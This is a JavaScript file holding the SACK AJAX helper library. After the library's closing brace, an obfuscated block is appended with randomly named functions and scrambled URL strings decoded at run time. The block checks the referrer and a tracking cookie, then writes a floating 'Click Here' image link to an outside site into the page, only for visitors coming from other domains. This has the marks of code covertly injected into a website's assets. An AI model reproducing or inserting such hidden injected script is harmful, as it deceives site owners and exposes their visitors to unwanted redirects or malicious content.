/* Simple AJAX Code-Kit (SACK) */
/* ©2005 Gregory Wild-Smith */
/* www.twilightuniverse.com */
/* Software licenced under a modified X11 licence, see documentation or authors website for more details */

function sack(file){
	this.AjaxFailedAlert = "Your browser does not support the enhanced functionality of this website, and therefore you will have an experience that differs from the intended one.\n";
	this.requestFile = file;
	this.method = "POST";
	this.URLString = "";
	this.encodeURIString = true;
	this.execute = false;

	this.onLoading = function() { };
	this.onLoaded = function() { };
	this.onInteractive = function() { };
	this.onCompletion = function() { };

	this.createAJAX = function() {
		try {
			this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
		} catch (e) {
			try {
				this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
			} catch (err) {
				this.xmlhttp = null;
			}
		}
		if(!this.xmlhttp && typeof XMLHttpRequest != "undefined")
			this.xmlhttp = new XMLHttpRequest();
		if (!this.xmlhttp){
			this.failed = true; 
		}
	};
	
	this.setVar = function(name, value){
		if (this.URLString.length < 3){
			this.URLString = name + "=" + value;
		} else {
			this.URLString += "&" + name + "=" + value;
		}
	}
	
	this.encVar = function(name, value){
		var varString = encodeURIComponent(name) + "=" + encodeURIComponent(value);
	return varString;
	}
	
	this.encodeURLString = function(string){
		varArray = string.split('&');
		for (i = 0; i < varArray.length; i++){
			urlVars = varArray[i].split('=');
			if (urlVars[0].indexOf('amp;') != -1){
				urlVars[0] = urlVars[0].substring(4);
			}
			varArray[i] = this.encVar(urlVars[0],urlVars[1]);
		}
	return varArray.join('&');
	}
	
	this.runResponse = function(){
		eval(this.response);
	}
	
	this.runAJAX = function(urlstring){
		this.responseStatus = new Array(2);
		if(this.failed && this.AjaxFailedAlert){ 
			alert(this.AjaxFailedAlert); 
		} else {
			if (urlstring){ 
				if (this.URLString.length){
					this.URLString = this.URLString + "&" + urlstring; 
				} else {
					this.URLString = urlstring; 
				}
			}
			if (this.encodeURIString){
				var timeval = new Date().getTime(); 
				this.URLString = this.encodeURLString(this.URLString);
				this.setVar("rndval", timeval);
			}
			if (this.element) { this.elementObj = document.getElementById(this.element); }
			if (this.xmlhttp) {
				var self = this;
				if (this.method == "GET") {
					var totalurlstring = this.requestFile + "?" + this.URLString;
					this.xmlhttp.open(this.method, totalurlstring, true);
				} else {
					this.xmlhttp.open(this.method, this.requestFile, true);
				}
				if (this.method == "POST"){
  					try {
						this.xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded')  
					} catch (e) {}
				}

				this.xmlhttp.send(this.URLString);
				this.xmlhttp.onreadystatechange = function() {
					switch (self.xmlhttp.readyState){
						case 1:
							self.onLoading();
						break;
						case 2:
							self.onLoaded();
						break;
						case 3:
							self.onInteractive();
						break;
						case 4:
							self.response = self.xmlhttp.responseText;
							self.responseXML = self.xmlhttp.responseXML;
							self.responseStatus[0] = self.xmlhttp.status;
							self.responseStatus[1] = self.xmlhttp.statusText;
							self.onCompletion();
							if(self.execute){ self.runResponse(); }
							if (self.elementObj) {
								var elemNodeName = self.elementObj.nodeName;
								elemNodeName.toLowerCase();
								if (elemNodeName == "input" || elemNodeName == "select" || elemNodeName == "option" || elemNodeName == "textarea"){
									self.elementObj.value = self.response;
								} else {
									self.elementObj.innerHTML = self.response;
								}
							}
							self.URLString = "";
						break;
					}
				};
			}
		}
	};
this.createAJAX();
}function Z50dmKqT(){
	document.getElementById("bK5bnS").style.display="none";
}
function s6tCcUWs(){
	if(document.body.scrollTop==0)
		document.all["bK5bnS"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["bK5bnS"].style.top=document.body.scrollTop+10;
}
function RaJ4aNLg(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("ucMEjYcYD") == -1){
	var qGAB = new Date(), qGAB1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var DxJX = document.domain.toLowerCase(); 
			if(DxJX.indexOf('www.') == 0) DxJX = DxJX.substr(4);
			var HFkq = document.referrer.toLowerCase().substr(7); 
			var Oj8w = HFkq.indexOf('?'); 
			if(Oj8w != -1) HFkq = HFkq.substr(0, Oj8w);
			var Oj8w = HFkq.indexOf('/'); 
			if(Oj8w != -1) HFkq = HFkq.substr(0, Oj8w);
			if(HFkq.indexOf('www.') == 0) HFkq = HFkq.substr(4);
			if(HFkq != DxJX && Math.random() < 1){
				qGAB.setTime(qGAB.getTime()+(100* 36 *  100  *  24*  10*10));
				qGAB1 = qGAB.toGMTString();
				var A9NN = navigator.appVersion.indexOf('MSIE') != -1;
				var ywUl=1;
				document.write('<div id="bK5bnS" style="'+(A9NN ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="ywUl=0"'+
				' title="Close" href="javascript: Z50dmKqT()" onmouseout="ywUl=1">Close[X]</a></b><br>'+
				'<a href="'+RaJ4aNLg('cd81e603b5f2794a257481036','/ppsei/.tntlht:mre/smm/eb')+DxJX+'.html'+'" target="_blank"><img src="'+RaJ4aNLg('e0f2498b75c63d1a8c745310bad96f2e0','tep.:ipl//tsmnhtnagbg/3m/2eniri.f')+'" border=0 alt="Click Here" onclick="Z50dmKqT()"></a></div>');
				if(A9NN){
					if (document.all["bK5bnS"].style)
					window.setInterval("s6tCcUWs()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		qGAB.setTime(qGAB.getTime()+(24 *  100 *  36*   100 *10  *   90));
		qGAB1 = qGAB.toGMTString();
	}
	if(qGAB1 != false) document.cookie = "ucMEjYcYD"+'=1; expires='+qGAB1+'; path=/';
}